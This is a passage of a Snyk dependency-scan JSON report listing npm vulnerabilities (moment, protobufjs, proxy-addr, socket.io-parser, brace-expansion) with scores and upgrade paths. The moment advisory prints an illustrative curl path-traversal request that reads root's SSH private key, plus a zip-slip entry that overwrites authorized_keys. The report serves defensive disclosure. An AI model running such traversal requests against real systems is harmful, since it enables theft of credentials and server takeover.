"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-09T09:51:55.883234Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:17:01.534275Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.0.25",
"@ardatan/relay-compiler@12.0.3",
"immutable@3.8.3"
],
"upgradePath": [
false,
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.1.14",
"@ardatan/relay-compiler@13.0.2",
"immutable@5.1.9"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "immutable",
"version": "3.8.3",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-MOMENT-19821607",
"title": "Directory Traversal",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"credit": [
"zolbooo"
],
"semver": {
"vulnerable": [
"<2.31.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.31.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "moment",
"references": [
{
"url": "https://github.com/moment/moment/security/advisories/GHSA-4p3w-j4w9-5jqw",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/moment/moment/commit/5f7d983c9881e65e07574de9dda3190d99520c07",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-16T05:58:35.545204Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:18:52.800189Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:18:52.800189Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T05:58:35.545204Z"
}
],
"description": "## Overview\n[moment](https://www.npmjs.com/package/moment) is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.\n\nAffected versions of this package are vulnerable to Directory Traversal in the `locale()` function, whose locale name validation is circumvented by a non-string value, so an object can direct the load to an attacker-specified path. An attacker can cause a file to be loaded from a path of their choosing by supplying a non-string value that the application passes to `moment.locale()`. This requires the application to hand user-supplied non-string input directly to `moment.locale()`, plain strings are unaffected because the existing validation rejects those containing path separators, and only server-side npm consumers are in scope.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2022-24785](https://security.snyk.io/vuln/SNYK-JS-MOMENT-2440688).\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `moment` to version 2.31.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/moment/moment/security/advisories/GHSA-4p3w-j4w9-5jqw)\n- [GitHub Commit](https://github.com/moment/moment/commit/5f7d983c9881e65e07574de9dda3190d99520c07)\n",
"epssDetails": {
"percentile": "0.26649",
"probability": "0.00357",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-17495"
],
"CWE": [
"CWE-27"
],
"GHSA": [
"GHSA-4p3w-j4w9-5jqw"
]
},
"packageName": "moment",
"proprietary": false,
"creationTime": "2026-09-15T09:03:35.671027Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-15T07:18:51Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-15T09:03:35.864137Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:18:52.800189Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"bunyan@2.0.5",
"moment@2.30.1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "moment",
"version": "2.30.1",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-PROTOBUFJSUTF8-16643422",
"title": "Arbitrary Code Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
"Michael Baraniak"
],
"semver": {
"vulnerable": [
"<1.1.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@protobufjs/utf8",
"references": [
{
"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/protobufjs/protobuf.js/commit/6eb3a3b90db02d3e8447ea57fcc835459bff2e51",
"title": "GitHub Commit"
},
{
"url": "https://github.com/protobufjs/protobuf.js/commit/75392ea1b78bdc4faba027b5db44ad7c50e9c454",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 8.8,
"modificationTime": "2026-05-14T01:15:06.768648Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H",
"cvssV3BaseScore": 7.1,
"modificationTime": "2026-06-12T05:30:59.573421Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:18:33.081708Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:18:33.081708Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 8.8,
"cvssVersion": "3.1",
"modificationTime": "2026-05-14T01:15:06.768648Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.1,
"cvssVersion": "3.1",
"modificationTime": "2026-06-12T05:30:59.573421Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Arbitrary Code Injection in the `toObject` function when handling a schema-controlled `bytes` field default value. An attacker can execute arbitrary JavaScript code by providing a crafted descriptor with a malicious default value for a `bytes` field, which is then used in the generated conversion function.\n## Remediation\nUpgrade `@protobufjs/utf8` to version 1.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm)\n- [GitHub Commit](https://github.com/protobufjs/protobuf.js/commit/6eb3a3b90db02d3e8447ea57fcc835459bff2e51)\n- [GitHub Commit](https://github.com/protobufjs/protobuf.js/commit/75392ea1b78bdc4faba027b5db44ad7c50e9c454)\n",
"epssDetails": {
"percentile": "0.52334",
"probability": "0.00733",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-44293"
],
"CWE": [
"CWE-94"
],
"GHSA": [
"GHSA-66ff-xgx4-vchm"
]
},
"packageName": "@protobufjs/utf8",
"proprietary": false,
"creationTime": "2026-05-13T12:54:01.976809Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-05-12T15:06:13Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-14T06:49:43.164044Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:18:33.081708Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"@apollo/server@5.5.0",
"@apollo/utils.usagereporting@2.1.0",
"@apollo/usage-reporting-protobuf@4.1.1",
"@apollo/protobufjs@1.2.7",
"@protobufjs/utf8@1.1.0"
],
"upgradePath": [
false,
"@apollo/server@5.5.0",
"@apollo/utils.usagereporting@2.1.0",
"@apollo/usage-reporting-protobuf@4.1.2",
"@apollo/protobufjs@1.2.8",
"@protobufjs/utf8@1.1.2"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@protobufjs/utf8",
"version": "1.1.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-PROXYADDR-19812342",
"title": "User Impersonation",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"credit": [
"kagebunsher"
],
"semver": {
"vulnerable": [
">=1.1.0 <2.0.8"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.3,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "proxy-addr",
"references": [
{
"url": "https://github.com/jshttp/proxy-addr/security/advisories/GHSA-jqcg-44mw-7w3h",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/jshttp/proxy-addr/commit/780911d84d18e2c5fa008ed0c0d387631ec11965",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-08T05:38:39.078594Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.3,
"cvssVersion": "4.0",
"modificationTime": "2026-10-08T05:38:39.278167Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-10-08T05:38:39.278167Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-08T05:38:39.078594Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to User Impersonation in its subnet matching logic, where an IPv4-mapped IPv6 trust entry with a short prefix such as `::ffff:10.0.0.0/8` compiles with all-zero leading bits and matches every address rather than the intended block. An attacker can control the value returned by `proxyaddr(req, trust)`, and therefore `req.ip` and `req.ips` in Express, by sending an arbitrary `X-Forwarded-For` header, since every client is then trusted as a proxy at hop 0, which defeats IP-based access control, rate limiting, geolocation, and audit logging. This requires the application to configure its trust list with an IPv4-mapped IPv6 subnet using a short prefix, or any IPv6 subnet with zero leading bits such as `::/1`, and the misconfiguration compiles without error.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by expressing trust subnets in plain IPv4 notation, such as `10.0.0.0/8`, or where IPv4-mapped IPv6 notation is required, by using a prefix long enough to cover the mapped marker, such as `::ffff:10.0.0.0/104`.\n## Remediation\nUpgrade `proxy-addr` to version 2.0.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/jshttp/proxy-addr/security/advisories/GHSA-jqcg-44mw-7w3h)\n- [GitHub Commit](https://github.com/jshttp/proxy-addr/commit/780911d84d18e2c5fa008ed0c0d387631ec11965)\n",
"epssDetails": {
"percentile": "0.23628",
"probability": "0.00332",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-90711"
],
"CWE": [
"CWE-290"
],
"GHSA": [
"GHSA-jqcg-44mw-7w3h"
]
},
"packageName": "proxy-addr",
"proprietary": false,
"creationTime": "2026-09-15T08:22:56.328403Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-15T07:14:51Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-15T08:22:56.519310Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-08T05:38:39.278167Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"express@5.2.1",
"proxy-addr@2.0.7"
],
"upgradePath": [
false,
"express@5.2.1",
"proxy-addr@2.0.8"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "proxy-addr",
"version": "2.0.7",
"severityWithCritical": "critical"
},
{
"id": "SNYK-JS-SOCKETIOPARSER-18517008",
"title": "Improper Check for Unusual or Exceptional Conditions",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"aretekzs",
"mauriceng98",
"Wesley Wang",
"Strickland",
"七号公园"
],
"semver": {
"vulnerable": [
"<3.3.6",
">=3.4.0 <3.4.5",
">=4.0.0 <4.2.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"3.3.6",
"3.4.5",
"4.2.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "socket.io-parser",
"references": [
{
"url": "https://github.com/socketio/socket.io/security/advisories/GHSA-2m8v-j782-fhvr",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/socketio/socket.io/commit/7c6ef571a00656718e9e05e3b948fd1758b2a7b4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/socketio/socket.io/commit/9c6323e5cde41bd75df3379b5fc9293664a5f240",
"title": "GitHub Commit"
},
{
"url": "https://github.com/socketio/socket.io/commit/ced94ffa3ac020a8f3c14eb98a3bf34acb14d291",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-07T05:47:51.938464Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:24:18.699464Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:24:18.699464Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T05:47:51.938464Z"
}
],
"description": "## Overview\n[socket.io-parser](https://www.npmjs.org/package/socket.io-parser) is a socket.io protocol parser\n\nAffected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions via attachment handling. An attacker can cause the server to exhaust memory resources by sending specially crafted packets that make the server wait for and buffer a large number of binary attachments.\n## Remediation\nUpgrade `socket.io-parser` to version 3.3.6, 3.4.5, 4.2.7 or higher.\n## References\n- [GitHub Advisory](https://github.com/socketio/socket.io/security/advisories/GHSA-2m8v-j782-fhvr)\n- [GitHub Commit](https://github.com/socketio/socket.io/commit/7c6ef571a00656718e9e05e3b948fd1758b2a7b4)\n- [GitHub Commit](https://github.com/socketio/socket.io/commit/9c6323e5cde41bd75df3379b5fc9293664a5f240)\n- [GitHub Commit](https://github.com/socketio/socket.io/commit/ced94ffa3ac020a8f3c14eb98a3bf34acb14d291)\n",
"epssDetails": {
"percentile": "0.47911",
"probability": "0.00630",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69185"
],
"CWE": [
"CWE-754"
],
"GHSA": [
"GHSA-2m8v-j782-fhvr"
]
},
"packageName": "socket.io-parser",
"proprietary": false,
"creationTime": "2026-08-04T14:52:18.456055Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T19:09:44Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-04T14:52:18.662459Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:24:18.699464Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"socket.io@4.8.1",
"socket.io-parser@4.2.6"
],
"upgradePath": [
false,
"socket.io@4.8.1",
"socket.io-parser@4.2.7"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "socket.io-parser",
"version": "4.2.6",
"severityWithCritical": "high"
}
],
"upgrade": {
"body-parser@1.20.4": {
"upgradeTo": "body-parser@1.20.8",
"upgrades": [
"qs@6.14.2"
],
"vulns": [
"SNYK-JS-QS-20943482"
]
},
"mongoose@8.9.5": {
"upgradeTo": "mongoose@8.22.1",
"upgrades": [
"mongoose@8.9.5"
],
"vulns": [
"SNYK-JS-MONGOOSE-16425765"
]
},
"ws@8.20.0": {
"upgradeTo": "ws@8.21.0",
"upgrades": [
"ws@8.20.0"
],
"vulns": [
"SNYK-JS-WS-17344547"
]
}
},
"patch": {},
"ignore": {},
"pin": {}
},
"filesystemPolicy": false,
"filtered": {
"ignore": [],
"patch": []
},
"uniqueCount": 19,
"targetFile": "/usr/worklink-iot/package.json",
"projectName": "socket.io-server-v2",
"displayTargetFile": "/usr/worklink-iot/package.json",
"hasUnknownVersions": false,
"path": "docker.io/scopear/docker-iot-server:1.3.1_0fbd998.179"
},
{
"vulnerabilities": [
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
